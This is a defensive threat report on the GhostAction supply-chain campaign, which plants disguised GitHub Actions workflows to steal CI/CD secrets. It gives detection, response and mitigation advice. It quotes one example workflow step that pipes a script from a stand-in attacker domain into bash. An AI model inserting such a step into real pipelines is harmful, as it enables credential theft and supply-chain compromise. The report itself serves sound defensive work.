GhostAction Supply Chain Attack Hits GitHub

Executive Summary

The supply chain attack campaign known as GhostAction has seen a significant resurgence, compromising an estimated 1,900 GitHub developer accounts. The attackers leverage this access to inject malicious code into over 30,000 software repositories, affecting 3,000 users and organizations. The campaign's primary objective is to steal sensitive secrets from CI/CD environments, including cloud provider credentials (e.g., AWS keys), package registry tokens (npm, PyPI), and API keys. This large-scale operation highlights the increasing targeting of developer infrastructure as a lucrative vector for initial access and data theft.

Threat Overview

GhostAction is a credential-theft campaign that has been active since at least September 2025. The threat actors focus on compromising the software supply chain by targeting developers and their GitHub accounts. The typical attack pattern involves using stolen credentials, such as Personal Access Tokens (PATs) obtained from information-stealer malware logs or previous data breaches, to gain unauthorized access to a developer's account.

Once in control, the attackers inject a malicious GitHub Actions workflow into one or more of the developer's repositories. These workflows are often disguised with benign-sounding names like security-audit.yml or github_actions_security.yml to evade detection. When the workflow is triggered (e.g., by a push event), it executes the malicious code within the context of the repository's CI/CD pipeline, giving it access to all the secrets and environment variables configured for that project.

Technical Analysis

The malicious GitHub Actions workflows are designed to exfiltrate secrets. The core of the payload typically involves a script that collects all available environment variables and secrets within the GitHub Actions runner and sends them to an attacker-controlled server.

Recent analysis by GitGuardian has revealed new TTPs in the latest wave of attacks (since August 2026):

• History Scanning: A new feature has been added to the malicious workflow that scans the entire Git history of the compromised repository. The script uses regular expressions to search for patterns matching common secret formats, such as AWS keys (AKIA...), GitHub tokens, and other API keys that may have been accidentally committed in the past.
• Payload Evolution: The attackers are observed to be experimenting and modifying their payloads over time, indicating an active and ongoing development process.

An example of a malicious workflow step might look like this:

- name: Run audit
  run: |
    curl -s http://attacker-domain.com/payload.sh | bash

This simple step downloads and executes a script from an external server, which then carries out the secret-stealing and history-scanning logic.

Impact Assessment

The compromise of CI/CD secrets poses a severe risk to organizations. Stolen credentials can lead to:

• Cloud Infrastructure Compromise: Attackers can use stolen AWS, Azure, or GCP keys to access, modify, or destroy cloud resources, leading to significant financial loss and operational downtime.
• Further Supply Chain Attacks: Stolen package registry tokens (npm, PyPI) can be used to publish malicious versions of software packages, propagating the attack to downstream users.
• Data Breaches: Access to production databases or other sensitive services via stolen API keys can result in major data breaches.
• Code Tampering: Attackers with write access to repositories can inject backdoors or other malicious code directly into the application source.

IOCs — Directly from Articles

No specific Indicators of Compromise (IOCs) such as exfiltration domains or payload hashes were mentioned in the source articles.

Cyber Observables — Hunting Hints

Security teams can hunt for GhostAction activity by monitoring for the following patterns in their GitHub organizations. The following patterns could indicate related activity:

Detection & Response

Detection:

1. Monitor Workflow Changes: Implement alerting for any new or modified files in the .github/workflows/ directory of all repositories. All changes to CI/CD pipelines should go through a mandatory peer review process. (D3-SFA: System File Analysis)
2. Audit Log Analysis: Regularly review GitHub audit logs for suspicious activity, such as PAT creation/usage from anomalous IPs or bulk repository modifications. (D3-DAM: Domain Account Monitoring)
3. Secrets Scanning: Proactively and continuously scan all repositories and their full Git history for secrets to find and remediate them before attackers do.

Response:

1. Revoke Credentials: If a compromise is suspected, immediately revoke the compromised user's PATs, rotate their password, and terminate all active sessions.
2. Remove Malicious Workflow: Delete the malicious workflow file from the repository.
3. Rotate All Exposed Secrets: This is the most critical step. Any secret that was available to the compromised repository's Actions environment must be considered stolen and must be revoked and replaced immediately.

Mitigation

1. Enforce MFA: Mandate the use of Multi-Factor Authentication (MFA) for all GitHub users in your organization to prevent account takeovers via stolen passwords. (M1032: Multi-factor Authentication)
2. Use Short-Lived PATs: Avoid using classic Personal Access Tokens that do not expire. Instead, use fine-grained PATs with a short expiration date (e.g., 7-30 days) and scope them to the minimum required permissions. (M1026: Privileged Account Management)
3. Restrict Workflow Permissions: Configure GitHub Actions to have read-only permissions by default and only grant write permissions when explicitly necessary. This can limit the blast radius of a compromised workflow.
4. Use OIDC: Whenever possible, use OpenID Connect (OIDC) to authenticate with cloud providers like AWS, Azure, and GCP. This avoids the need to store long-lived cloud secrets in GitHub. (M1043: Credential Access Protection)